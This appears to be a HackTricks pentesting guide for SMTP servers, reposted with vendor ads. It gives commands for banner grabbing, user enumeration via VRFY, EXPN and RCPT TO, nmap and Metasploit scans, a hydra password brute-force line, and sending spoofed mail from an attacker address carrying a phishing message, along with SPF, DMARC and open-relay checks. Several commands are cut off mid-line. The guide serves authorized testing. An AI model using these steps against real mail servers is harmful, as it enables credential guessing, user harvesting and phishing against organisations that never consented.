Professional Documents
Culture Documents
Pentesting SMTP_s _ 25,465,587 - HackTricks
Pentesting SMTP_s _ 25,465,587 - HackTricks
Pentesting SMTP_s _ 25,465,587 - HackTricks
Instantly available setup for vulnerability assessment & penetration testing. Run a full
pentest from anywhere with 20+ tools & features that go from recon to reporting. We
don't replace pentesters - we develop custom tools, detection & exploitation modules to
give them back some time to dig deeper, pop shells, and have fun.
Pentest-Tools.com | 25+ Online Penetration Testing Tools
Pentest-Tools.com
Basic Information
The Simple Mail Transfer Protocol (SMTP) is a protocol utilized within the TCP/IP suite
for the sending and receiving of e-mail. Due to its limitations in queuing messages at
the recipient's end, SMTP is often employed alongside either POP3 or IMAP. These
additional protocols enable users to store messages on a server mailbox and to
periodically download them.
In practice, it is common for e-mail programs to employ SMTP for sending e-mails,
while utilizing POP3 or IMAP for receiving them. On systems based on Unix, sendmail
stands out as the SMTP server most frequently used for e-mail purposes. The
commercial package known as Sendmail encompasses a POP3 server. Furthermore,
Microsoft Exchange provides an SMTP server and offers the option to include POP3
support.
Default port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL Headers
If you have the opportunity to make the victim send you a email (via contact form of the
web page for example), do it because you could learn about the internal topology of
the victim seeing the headers of the mail.
You can also get an email from a SMTP server trying to send to that server an email to a
non-existent address (because the server will send to the attacker a NDN mail). But, be
sure that you send the email from an allowed address (check the SPF policy) and that
you can receive NDN messages.
You should also try to send different contents because you can find more interesting
information on the headers like: X-Virus-Scanned: by av.domain.com
You should send the EICAR test file.
Detecting the AV may allow you to exploit known vulnerabilities.
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Finding MX servers of an organisation
dig +short mx google.com
Enumeration
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Sniffing
Check if you sniff some password from the packets to port 25
Auth bruteforce
Username Bruteforce Enumeration
Authentication is not always needed
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Automatic tools
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
Instantly available setup for vulnerability assessment & penetration testing. Run a full
pentest from anywhere with 20+ tools & features that go from recon to reporting. We
don't replace pentesters - we develop custom tools, detection & exploitation modules to
give them back some time to dig deeper, pop shells, and have fun.
Pentest-Tools.com | 25+ Online Penetration Testing Tools
Pentest-Tools.com
DSN Reports
Delivery Status Notification Reports: If you send an email to an organisation to an
invalid address, the organisation will notify that the address was invalided sending a
mail back to you. Headers of the returned email will contain possible sensitive
information (like IP address of the mail services that interacted with the reports or anti-
virus software info).
Commands
Sending an Email from linux console
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important sub
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
SMTP Smuggling
SMTP Smuggling vulnerability allowed to bypass all the SMTP protections (check the
next section for more info about protections). For more info on SMTP Smuggling check:
PAGE
SMTP Smuggling
SPF
SPF was "deprecated" in 2014. This means that instead of creating a TXT record in
_spf.domain.com you create it in domain.com using the same syntax.
Moreover, to reuse previous spf records it's quiet common to find something like
"v=spf1 include:_spf.google.com ~all"
Sender Policy Framework (SPF) is a mechanism that enables Mail Transfer Agents
(MTAs) to verify whether a host sending an email is authorized by querying a list of
authorized mail servers defined by the organizations. This list, which specifies IP
addresses/ranges, domains, and other entities authorized to send email on behalf of a
domain name, includes various "Mechanisms" in the SPF record.
Mechanisms
From Wikipedia:
Mechanism Description
ALL Matches always; used for a default result like
-all for all IPs not matched by prior mechanisms.
In the upcoming example, the SPF policy of google.com is illustrated. Note the inclusion
of SPF policies from different domains within the first SPF policy:
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.co
Traditionally it was possible to spoof any domain name that didn't have a correct/any
SPF record. Nowadays, if email comes from a domain without a valid SPF record is
probably going to be rejected/marked as untrusted automatically.
To check the SPF of a domain you can use online tools like:
https://www.kitterman.com/spf/validate.html
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-r
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:Bin
DMARC tags
Tag Name Purpose Sample
v Protocol version v=DMARC1
Open Relay
When emails are sent, ensuring they don't get flagged as spam is crucial. This is often
achieved through the use of a relay server that is trusted by the recipient. However, a
common challenge is that administrators might not be fully aware of which IP ranges are
safe to allow. This lack of understanding can lead to mistakes in setting up the SMTP
server, a risk frequently identified in security assessments.
A workaround that some administrators use to avoid email delivery issues, especially
concerning communications with potential or ongoing clients, is to allow connections
from any IP address. This is done by configuring the SMTP server's mynetworks
parameter to accept all IP addresses, as shown below:
mynetworks = 0.0.0.0/0
For checking whether a mail server is an open relay (which means it could forward email
from any external source), the nmap tool is commonly used. It includes a specific script
designed to test this. The command to conduct a verbose scan on a server (for example,
with IP 10.10.10.10) on port 25 using nmap is:
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Tools
https://github.com/serain/mailspoof Check for SPF and DMARC misconfigurations
https://pypi.org/project/checkdmarc/ Automatically get SPF and DMARC configs
More info
Find more information about these protections in
https://seanthegeek.net/459/demystifying-dmarc/
Config file
Postfix
Usually, if installed, in /etc/postfix/master.cf contains scripts to execute when for
example a new mail is receipted by a user. For example the line
flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
means that /etc/postfix/filtering will be executed if a new mail is received by the
user mark.
Other config files:
sendmail.cf
submit.cf
References
https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-
their-value/
https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with
_misconfigured_smtp/
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -sta
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOS
Instantly available setup for vulnerability assessment & penetration testing. Run a full
pentest from anywhere with 20+ tools & features that go from recon to reporting. We
don't replace pentesters - we develop custom tools, detection & exploitation modules to
give them back some time to dig deeper, pop shells, and have fun.
Pentest-Tools.com | 25+ Online Penetration Testing Tools
Pentest-Tools.com
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red
Team Expert)!
Previous
23 - Pentesting Telnet
Next
SMTP Smuggling
Last updated 2 months ago